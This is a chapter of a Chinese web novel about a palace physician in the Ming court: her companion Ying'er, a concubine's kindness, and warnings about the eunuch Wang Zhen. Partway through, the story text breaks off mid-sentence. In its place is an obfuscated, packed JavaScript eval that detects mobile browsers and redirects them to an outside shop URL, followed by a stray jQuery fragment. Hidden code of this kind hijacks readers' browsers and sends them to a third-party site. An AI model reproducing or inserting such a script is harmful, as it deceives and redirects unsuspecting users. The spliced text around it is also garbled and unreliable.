文趣网 > 其他小说 > 医女宗秀 > 10. 第十回 春归
    正月初二,沈宗秀起了个大早。

    窗外天色微亮,屋檐下还挂着除夕夜未撤的大红灯笼,烛火在晨风中轻轻摇晃。沈宗秀坐在床边,从枕头底下取出那包银针,一枚枚细细清点。针还是旧针,光洁如新,指尖轻拂针身,凉意沁人。她想起母亲生前叮嘱:“秀儿,针虽是凉的,可人手是暖的。用暖手去捂热针扎过的穴位,把穴位暖开、化开,病人觉了暖意,便有救了。”

    沈宗秀收好银针,又翻开手札,将昨夜写下的字句重新看了一遍。末了,在空白处添了一行:“宣德九年正月初二,孙皇后允诺将莹儿接入宫内。待春风回暖,便有人相伴了。”

    写罢,她合上手札,起身梳洗。

    桃茗端着热水走进来,笑道:“沈医女,今日初三,按惯例各宫都要去仁寿宫给太后请安。娘娘吩咐,让你一同前去。”

    沈宗秀闻言微微一怔。太后居于仁寿宫,她入宫数月,从未踏足,此次皇后带她同去,既是恩宠,更是信任。

    “好,桃茗妹妹,我收拾一番便与你们同往。”沈宗秀应了一声,换上青色比甲,对着铜镜理了理鬓边的素银簪。

    桃茗在旁看着,劝道:“沈医女,你头上这支簪子太过素净。娘娘赏你的金镶宝石手镯不戴也罢,簪子好歹换一支。我那儿有支银雕花镶玉的,先借你戴?”

    沈宗秀摇了摇头:“不必,素净就好。”

    桃茗轻叹一声,不再劝说。

    仁寿宫

    辰时三刻,沈宗秀跟着孙皇后前往仁寿宫。太后年事已高,平日甚少管事,可每逢初一、十五,各宫妃嫔必去请安,正月初三也不例外。

    一路上,孙皇后寡言少语,沈宗秀也默然跟在身后。行至仁寿宫门口,已有不少妃嫔在廊下等候。丽妃站在最前头,身着大红织金褙子,头戴金丝?髻,珠翠满头,明艳照人。她见孙皇后走来,微微颔首行礼,目光掠过沈宗秀时,顿了一瞬。

    “姐姐安好,这位便是姐姐身边新来的医女?”丽妃看向孙皇后问道。

    “是。”孙皇后淡淡应道。

    丽妃上下打量沈宗秀一眼,嘴角微撇:“生得倒是周正,也是个美人。咱们快进去,莫让太后等急了。”

    众人鱼贯而入。沈宗秀跟在末尾,垂着头不敢乱看。仁寿宫比皇后寝殿更显宽敞,殿内焚着沉香,烟气袅袅。太后靠坐榻上,身着香色常服,头戴金丝?髻,插着几支翠玉簪,面容祥和,眉眼间却自有一股不怒自威的气势。

    各宫妃嫔依次请安,道了几句吉利话,便退至一旁。太后与孙皇后闲话家常,又问了问皇上的功课,随即摆手让众人退散。

    沈宗秀跟着孙皇后走出殿外,正要折返,忽听身后有人唤住她。

    “沈医女,请留步。”

    她回头一看,是丽妃身边的宫女灵蓉。灵蓉上前一步,低声道:“丽妃娘娘说,上回你治好了她宫里的宫女芳菊,一直未曾好好谢你。这是娘娘的心意,还请沈医女收下。”说着,便将一个荷包塞进沈宗秀手中。

    沈宗秀低头看去,那荷包绣工精致,内里沉甸甸的,想必装着银两。她当即把荷包递回:“臣只是尽本分,不敢收娘娘赏赐。”

    灵蓉还要再推,沈宗秀已然转身离去。

    桃茗跟在身后,小声道:“沈医女,丽妃的赏赐你也敢不收?”

    沈宗秀道:“我若收了,便成了丽妃的人。我不收,各归其位,互不牵扯。”

    桃茗听了,不再多问。

    莹儿入宫

    正月初五,桃茗出宫去接莹儿。

    沈宗秀在偏厢坐立难安,一会儿翻动手札,一会儿到院中踱步,一会儿又坐下细数银针。桃茗不过走了两个时辰,她却觉得比两年还要漫长。

    终于,门外传来脚步声。桃茗推门而入,身后跟着一个穿粉白衣裳的小姑娘。

    莹儿比上次见面瘦了些,脸色也欠佳,可一双眼睛依旧清亮。她站在门口,望见沈宗秀,瞬间红了眼眶,泪水簌簌落下。

    “沈姐姐——”她颤声唤道。

    沈宗秀上前拉住她的手,上下打量:“莹丫头,你瘦了。”

    “我没瘦,沈姐姐。”莹儿摇着头,眼泪却落得更凶。

    “是瘦了些。”沈宗秀又重复一句,拿起手帕替她拭去泪水,“进屋吧,往后咱们就住在这里了。”

    莹儿点点头,跟着沈宗秀进了屋。桃茗放下包袱,笑道:“沈医女,人我给你接来了,你好好安置,我去前头当差了。”

    “多谢桃茗妹妹。”沈宗秀谢过桃茗,关上房门,让莹儿在椅上坐下。

    “在客栈住得可好?”沈宗秀问道。

    “挺好的。”莹儿擦了擦眼睛,“平日做些针线打发时间,只是一个人住着,冷清得很。”

    沈宗秀笑了笑,从小厨房端来一碗红糖姜茶,递到她手中:“莹丫头,喝了暖暖身子。”

    莹儿接过茶盏,抿了一口,轻声道:“沈姐姐,这茶和您在顾府熬的味道一模一样。”

    沈宗秀微微一怔,随即笑道:“是同一个方子,味道自然不差。”

    莹儿捧着茶碗又喝了几口,脸色渐渐红润。她放下碗,看着沈宗秀,欲言又止。

    “怎么了,莹丫头?”沈宗秀问道。

    “沈姐姐,您是不是……不打算回顾府了?”莹儿小声询问。

    沈宗秀沉默片刻,缓缓道:“不是不回,是暂时回不去。等我做完该做的事,定会回去。”

    莹儿点点头,不再多问。

    家书

    莹儿安顿下来的第二日,沈宗秀写了一封家书。

    她在灯下铺开信纸,提笔蘸墨,思忖许久才落笔:

    “老爷,见字安好。妾身已考入太医院,暂分在孙皇后宫中当值。宫中衣食无忧,诸事顺遂,望老爷勿念。诗雨与诗宣年幼,烦劳老爷与奶娘悉心照料。妾身在此一切安好,待日后站稳脚跟,再修书禀报。妾身宗秀叩上。”

    写罢,她细细重读,觉得字句太短,想添几句,却又不知从何下笔。她与顾礼元之间,从来不需要太多言语。

    她将信纸折好装入信封,在封皮写下“顾府老爷亲启”,把信交给桃茗,托她寻可靠之人送出宫去。

    桃茗接过信,笑道:“沈医女放心,我寻的人定然稳妥。”

    沈宗秀点点头,不再多言。

    信送出第三日,沈宗秀当值归来,见莹儿在偏厢门口张望。

    “沈姐姐,老爷可有回信?”莹儿问道。

    沈宗秀摇了摇头:“哪有这般快,来回一趟少说也要两个月。”

    莹儿应了一声,面露失望,却也不再追问。

    沈宗秀走进屋内,坐在烛灯旁,翻开手札写下:“宣德九年正月初七。家书已寄出。不知诗雨与诗宣可好?”

    写罢,她合上手札,放在枕头底下。窗外月色皎洁,她凝望片刻,吹灭了烛火。

    旧衣

    莹儿安顿下来后,沈宗秀的日子愈发忙碌。

    清早熬粥、请脉、备药,午后去太医院领药材、翻手札,傍晚还要去温孝怜宫中送药、诊脉。莹儿帮不上大忙,便在偏厢收拾屋子、整理药材,她手脚麻利、做事细致,没多久就把沈宗秀的瓶瓶罐罐归置得整整齐齐。

    桃茗见了,笑道:“沈医女,你家莹儿比我还要勤快。”

    沈宗秀道:“她平日里做事惯了,手脚不停。”

    莹儿听了这话,眼眶微红,却强忍着没落泪。

    一日,沈宗秀从温孝怜宫中回来,见莹儿坐在灯下缝补衣裳。她常穿的那件青色比甲袖口磨破,莹儿正一针一线细细缝补。

    “沈姐姐,这衣裳该换新的了。”莹儿头也不抬,“娘娘赏的那匹云锦放着也是闲置,不如做件新衣裳。”

    沈宗秀道:“不急,这件还能穿。”

    莹儿轻叹一声,不再劝说。

    兔子灯笼

    正月十五,元宵佳节。

    宫里张灯结彩,御花园搭起灯棚,各宫妃嫔纷纷前往赏灯。孙皇后让沈宗秀一同前去,她不好推辞,换了一身素净衣裳,跟着桃茗往御花园去。

    御花园内灯火辉煌,人声鼎沸。沈宗秀不惯热闹,远远站在老槐树下,看着满眼花灯。莲花灯、兔子灯、走马灯,一盏盏流光溢彩,煞是好看。

    忽然,她看见温孝怜立在廊下,也是一身素色衣裙,手提一盏小巧的兔子灯笼,仰头望着天上圆月。

    沈宗秀走上前行礼,轻声问:“娘娘怎么不去赏灯?”

    温孝怜转头见是她,微微一笑:“那边人多嘈杂,此处反倒安静。”

    沈宗秀不再言语,陪她静静站着。

    温孝怜忽然把兔子灯笼递到她手中,柔声道:“阿秀,这个给你。”

    沈宗秀微微一怔:“娘娘——”

    “我一人拿着也无趣。”温孝怜道,“你带回去,给你身边的小丫头莹儿玩。”

    沈宗秀接过灯笼,指尖触到温孝怜的手,冰凉一片。两人都未抽回手,就这般静立廊下,相对无言。

    过了许久,温孝怜轻轻抽回手,叮嘱道:“阿秀,回去吧,天寒莫要冻着。”

    沈宗秀躬身行礼,提着灯笼往回走,走了几步回头望去,温孝怜仍站在廊下,默默目送她。

    这时桃茗凑过来,小声道:“沈医女,温娘娘待你真好。”

    沈宗秀没有接话,提着灯笼径直回了偏厢。

    莹儿见了兔子灯笼,欢喜不已,拿在手里转了好几圈,开心地问:“沈姐姐,这灯笼真好看!是谁送的呀?”

    “温娘娘送的。”沈宗秀回道。

    莹儿应了一声,小心翼翼地把灯笼挂在窗台上。

    元宵过后,日子又恢复了往日的平静。

    问名

    正月末,沈宗秀去给温孝怜请脉。

    温孝怜的气色比年前好了许多,脸上有了血色,眼底青黑也淡了不少。沈宗秀诊脉后,见她脉象平稳,气血渐足。

    “娘娘身子大好。”沈宗秀笑道。

    温孝怜点点头,忽然问道:“你那个小妹子,接进宫了吗?”

    “是,已经接到身边照料。”

    “她叫什么名字?”

    “闺名莹儿,全名金莹儿。”

    温孝怜微微一笑:“是个好名字,改日带她来让我瞧瞧。”

    “是,娘娘。”沈宗秀应下,又叮嘱了几句饮食起居的事宜,便退了出来。

    回到偏厢,莹儿正在熬药。她见沈宗秀回来,抬头问道:“沈姐姐,温娘娘身子可是不适?”

    沈宗秀道:“从前欠佳,如今已好转许多。”

    “那您多去陪陪娘娘,她一个人住着,冷清得很。”莹儿说道。

    沈宗秀看了她一眼,默然无语。

    莹儿小妹

    三月初三,上巳节。

    宫中未曾大办,各宫妃嫔各自在宫中闲游。沈宗秀无需当值,便带着莹儿去御花园散步。

    莹儿第一次进御花园,看什么都觉得新鲜,一会儿指着桃树喊“沈姐姐,这花开得真好看”,一会儿蹲在湖边看锦鲤,欢快不已。

    “沈姐姐,这宫里真大!”莹儿感叹道。

    沈宗秀没说话,沿着湖边缓步前行,行至一处凉亭,见温孝怜坐在亭中,手持书卷,正低头阅览。

    沈宗秀上前行礼:“娘娘。”

    温孝怜抬头见是她,温婉一笑:“阿秀,你也来赏春?”

    “是,带莹儿出来走动走动。”

    莹儿连忙行礼:“莹儿给娘娘请安。”

    温孝怜打量她一番,笑道:“果然是个乖巧孩子,你姐姐待你可好?”

    “好!”莹儿用力点头,“沈姐姐对我最好了。”

    温孝怜笑了笑,从袖中取出一块锦帕递给她:“拿着玩吧。”

    莹儿看向沈宗秀,见她点头,才连忙接过道谢。

    温孝怜又看向沈宗秀,笑道:“你这个小妹子,可比你活泼多了。”

    沈宗秀道:“是,她平日里爱说爱笑,性子闹腾。”

    温孝怜眉眼弯弯,笑得开怀,平日里极少见她这般舒心模样。

    西山之行

    三月初十,孙皇后召沈宗秀到正殿。

    “宗秀,过几日太后要去西山进香,你一同随行。”皇后道,“太后年事已高,身边需有医女照料,你最是细心,此番便由你陪着。”

    沈宗秀躬身应道:“是,娘娘。”

    皇后又再三叮嘱,让她带齐药材、银针,路上务必小心。

    沈宗秀回到偏厢,让莹儿帮忙收拾行李。莹儿一边收拾一边问:“沈姐姐,去西山要去几日?”

    “三五日便回。”

    “那我也能去吗?”

    沈宗秀想了想,道:“你不用去,宫里自有宫人照看。”

    莹儿微微嘟起嘴,却也没再多说。

    夜谈

    三月十五,沈宗秀跟着太后前往西山进香。

    同行的还有几位妃嫔,温孝怜也在其中。沈宗秀坐在后方马车上,一路颠簸,抵达西山时已是傍晚。

    太后住在山腰寺院,各宫妃嫔分住两侧厢房,沈宗秀的住处,恰好挨着温孝怜。

    夜里,沈宗秀听见隔壁传来咳嗽声,当即披衣起身,端着一碗热茶推门过去。

    温孝怜靠在床头,脸色欠佳,见沈宗秀进来,微微一怔。

    “阿秀,你怎么还未歇息?”

    “听见娘娘咳嗽,过来瞧瞧。”沈宗秀把热茶递过去,“娘娘先喝口茶润润嗓。”

    温孝怜接过茶碗喝了几口,咳嗽渐渐平息。她把茶碗放在床头,看着沈宗秀道:“阿秀,坐下来陪我说说话。”

    沈宗秀依言在床边坐下。

    窗外月色清亮,洒在山间,树影婆娑,远处寺院钟声悠悠扬扬,回荡在夜色里。

    “你可知我为何要来进香?”温孝怜忽然问道。

    沈宗秀摇了摇头:“不知。”

    “我是为皇后求平安。”温孝怜轻叹,“她近日身子不适,我替她祈福。”

    沈宗秀看着她,心中了然。温孝怜与孙皇后素来不算亲近,此举绝非刻意讨好,只是本心良善。

    “娘娘心善。”沈宗秀道。

    温孝怜摇了摇头,声音低沉:“不是心善,是我欠她的。”

    沈宗秀没有追问缘由,温孝怜也不再多言。

    两人静坐良久,温孝怜才开口:“阿秀,回去吧,明日还要赶路。”

    沈宗秀站起身,躬身行礼,悄然退了出去。

    闲言

    西山进香回宫后,沈宗秀发现莹儿和桃茗越发熟络。

    两个姑娘年纪相仿,性子都活泼,凑在一起便叽叽喳喳说个不停。

    沈宗秀有时从温孝怜宫中回来,常见二人坐在廊下,一人捧着一盏茶,聊得热火朝天。

    “沈姐姐,您回来了!”莹儿见她回来,连忙起身。

    桃茗也跟着起身,笑道:“沈医女,莹儿妹妹可有趣了,跟我讲了好多您在顾府的旧事。”

    沈宗秀看向莹儿,莹儿缩了缩脖子,小声道:“我就说了几句……”

    “说了什么?”沈宗秀问道。

    “就说您会熬粥、会施针、爱看书……”莹儿声音越来越小。

    沈宗秀没再追问,转身进了屋。莹儿连忙跟进来,小声解释:“沈姐姐,您别生气,桃茗姐姐人好,不会往外说的。”

    沈宗秀道:“我没生气。”

    莹儿这才松了口气,又小声问:“沈姐姐,桃茗姐姐说,宫里有位娘娘得罪了王振,被打入冷宫后疯了,是真的吗?”

    沈宗秀手中的毛笔顿了一瞬,沉声道:“我不清楚,莹儿,往后别打听这些宫闱琐事。”

    莹儿乖乖应下,不再多问。

    一个人的孤单

    三月底,沈宗秀去给温孝怜请脉。

    温孝怜气色已然大好,面色白里透红,说话也底气十足。她靠在榻上,手持书卷,见沈宗秀进来,放下书卷笑道:“阿秀,你来了。”

    沈宗秀上前行礼,凝神诊脉,脉象平

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17542233|203958||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    稳,气血充盈。

    “娘娘已然痊愈。”沈宗秀道。

    温孝怜点点头,问道:“你那个小妹子莹儿,今年多大了?”

    “十六岁。”

    “这般年纪,也该商议婚事了。”温孝怜笑道。

    沈宗秀道:“不急,她还想跟着我。”

    温孝怜看了她一眼,轻声叹道:“你身边有人相伴,终究是好的。孤身一人在这深宫之中,太过冷清。”

    沈宗秀没有接话。

    温孝怜又问:“她跟着你多久了?”

    “从顾府时便跟着,好些年了。”沈宗秀回道。

    温孝怜点点头,不再多问。

    转眼进了四月。

    芙珺

    四月初二,宫中出了一桩事。

    丽妃身边的宫女芙珺,不知何故得罪了王振,被打了二十板子,直接扔进了浣衣局。芙珺伤势极重,连日高热,宫中之人忌惮王振,无人敢前去照料。

    沈宗秀在太医院听闻此事,犹豫片刻,终究跟着前来求助的宫女,去了浣衣局。

    浣衣局地处后宫最偏僻的角落,屋舍低矮潮湿,空气中弥漫着皂角与霉腐的味道。芙珺躺在破旧木床上,面色蜡黄,浑身滚烫,已然昏沉。

    沈宗秀为她诊脉,又查看伤口,只见伤口已然化脓,若再不医治,定会危及性命。

    她立刻返回太医院,取来药材和银针,熬好药汤喂芙珺服下,又施针退热。一番诊治后,芙珺的高热渐渐退去。

    此后三日,沈宗秀日日前往照料,芙珺的伤势日渐好转。

    待到第四日,她再去浣衣局时,却发现芙珺早已被人调走,询问宫人,个个都说不知情。

    沈宗秀心中了然,定是有人从中作梗,不许她继续医治。

    她不再多问,默然返回偏厢。

    莹儿见她脸色难看,关切地问:“沈姐姐,您怎么了?”

    沈宗秀摇了摇头:“无事。”

    护身自保

    四月下旬,陈绍麟专程来找沈宗秀。

    “宗秀,宫女芙珺一事,你切莫再管。”陈绍麟开门见山,语气凝重。

    沈宗秀不解:“大人,我只是行医救人而已。”

    “行医也不行。”陈绍麟压低声音,“王振的人已经盯上你了,你若再插手,下一个挨板子的就是你。”

    沈宗秀闻言,指尖紧紧攥住手中茶杯。

    陈绍麟轻叹一声:“阿秀,老夫知道你心地良善,可在这深宫里,善心不能保命。唯有先护住自己,才有能力护住旁人。”

    沈宗秀沉默良久,缓缓点头:“我知道了,大人。”

    陈绍麟深深看了她一眼,不再多言,转身离去。

    拂面

    五月初一,沈宗秀去给温孝怜请脉。

    温孝怜气色彻底好转,面色比往日更显红润,说话也更有气力。她倚在椅上做针线,见沈宗秀进来,放下针线笑道:“阿秀,你来了。”

    沈宗秀上前行礼,凝神诊脉,脉象平和,气血充盈。

    “娘娘身子挺好。”沈宗秀笑道。

    温孝怜点点头,看着她憔悴的面容,满是关切:“阿秀,你脸色不好,近日是不是太过劳累?”

    沈宗秀道:“还好,娘娘不必挂心。”

    温孝怜望着她,抬手轻轻拂过她的脸颊,柔声道:“阿秀,往后有事,别独自硬扛。”

    沈宗秀心头一暖,却未多言。

    两人静坐片刻,沈宗秀起身告辞。

    走到门口时,温孝怜忽然唤住她:“阿秀。”

    沈宗秀回头望去。

    温孝怜看着她,欲言又止,最终只轻声叮嘱:“万事小心。”

    沈宗秀点点头,推门离去。

    端午这日,沈宗秀不用当值。

    看龙舟

    五月初五,端午节。

    宫中照例包粽子、赛龙舟。沈宗秀无需当值,便带着莹儿去御花园湖畔观看。

    湖面上停着数艘龙舟,船头雕着金漆龙头,气派非凡。船上壮汉赤着上身,头系红巾,喊着整齐号子奋力划桨,岸边观者如云,喝彩声此起彼伏。

    莹儿看得入迷,踮着脚尖,伸长脖子,目不转睛。沈宗秀站在她身后,望着湖面龙舟,忽然想起顾府的端午。那时顾礼元也带她去河边看赛舟,诗雨、诗宣尚且年幼,在奶娘怀里睡得安稳,口水沾湿了衣襟。

    沈宗秀正出神,身后传来温柔的呼唤:“阿秀。”

    她回头一看,是温孝怜。她身着淡绿褙子,头戴银丝?髻,插着几支白玉簪,端庄素雅,手持一把团扇,轻摇着走到她身边。

    “你也来看龙舟?”温孝怜轻声问道。

    “是,带莹儿出来散心。”

    温孝怜看了看莹儿,笑道:“这丫头性子活泼。”

    莹儿连忙行礼:“温娘娘安好。”

    温孝怜微微颔首,又看向沈宗秀:“阿秀,你近日气色好多了。”

    沈宗秀道:“娘娘亦是容光焕发。”

    两人并肩而立,共看湖面龙舟,无言相伴,却无半分尴尬。

    莹儿在旁叽叽喳喳说着赛事,温孝怜偶尔应声,沈宗秀始终静立不语。

    龙舟赛落幕,人群渐渐散去。温孝怜收拢团扇,道:“阿秀,我回宫了,你也早些回去歇息。”

    沈宗秀躬身行礼,目送她走远。

    莹儿凑到她身边,小声道:“沈姐姐,温娘娘待您真好。”

    沈宗秀浅浅一笑,没有接话,带着莹儿转身返回。

    藏锋

    五月初十,沈宗秀去太医院领取药材,在药库门口遇见陈绍麟。

    陈绍麟正翻看医书,见她过来,抬头问道:“阿秀,近日王振的人,可有找你麻烦?”

    沈宗秀摇了摇头。

    陈绍麟松了口气,郑重叮嘱:“那就好。你记住,在这宫里,不该看的不看,不该问的不问,不该说的不说。只管明哲保身,除了皇后吩咐的事,其余诸事能不管便不管。”

    “晚辈谨记大人教诲。”沈宗秀恭声应道。

    陈绍麟看着她,欲言又止,最终意味深长地叹道:“你娘林慧当年,若是懂这个道理,也不至于落得那般下场……”

    话说到一半,他便住了口,摆了摆手,让沈宗秀先行离去。

    沈宗秀抱着药材,缓步往回走,一路反复回想陈绍麟的话。

    她心中清楚,阿娘不是不懂明哲保身,只是不肯。不肯低头趋附,不肯弯腰妥协,不肯昧着良心苟活,才毅然离去。沈宗秀懂阿娘的坚守,可她如今不能离开深宫,父母的血海深仇,唯有她能查清昭雪。

    她紧紧攥住怀中的药材,加快了脚步。

    藏心

    五月十五,沈宗秀前往仁寿宫,为太后单独请脉。

    这是她第一次独自为太后诊脉。太后靠在床榻上,伸出手腕,沈宗秀凝神搭脉,片刻后睁眼道:“太后脉象平和,气血充足,只是脾胃偏弱,需慢慢调养,少食油腻之物。臣会拟定调养食单,每日按方调理即可。”

    太后点点头,忽然问道:“哀家听皇后说,你阿娘是林慧?”

    沈宗秀心头一紧,面上依旧从容:“回太后,正是家母。”

    太后沉默片刻,缓缓道:“你娘是个仁心仁术的好医女。”

    沈宗秀一时无言,不知如何应答。

    太后又道:“你比你娘更沉稳。”

    沈宗秀躬身行礼,静静退了出去。

    走出仁寿宫,沈宗秀独自站在廊下,深深吸了一口气。初夏微风拂面,带着暖意,她攥紧袖中的银针,心底的执念始终未曾放下。

    人这一生,敬奉好父母便足矣,无需趋附其他虚妄。阿爹阿娘含冤而死,是她心底最深的伤痛,多年来难以释怀,唯有埋头度日,才能暂时忘却离别之苦。

    她在心底默默立誓:“阿娘,您当年入宫行医、济世救人的初心,女儿会接续走下去;您与阿爹的蒙冤隐情、血海深仇,女儿定会一一查清,为二老洗刷冤屈,讨回公道。”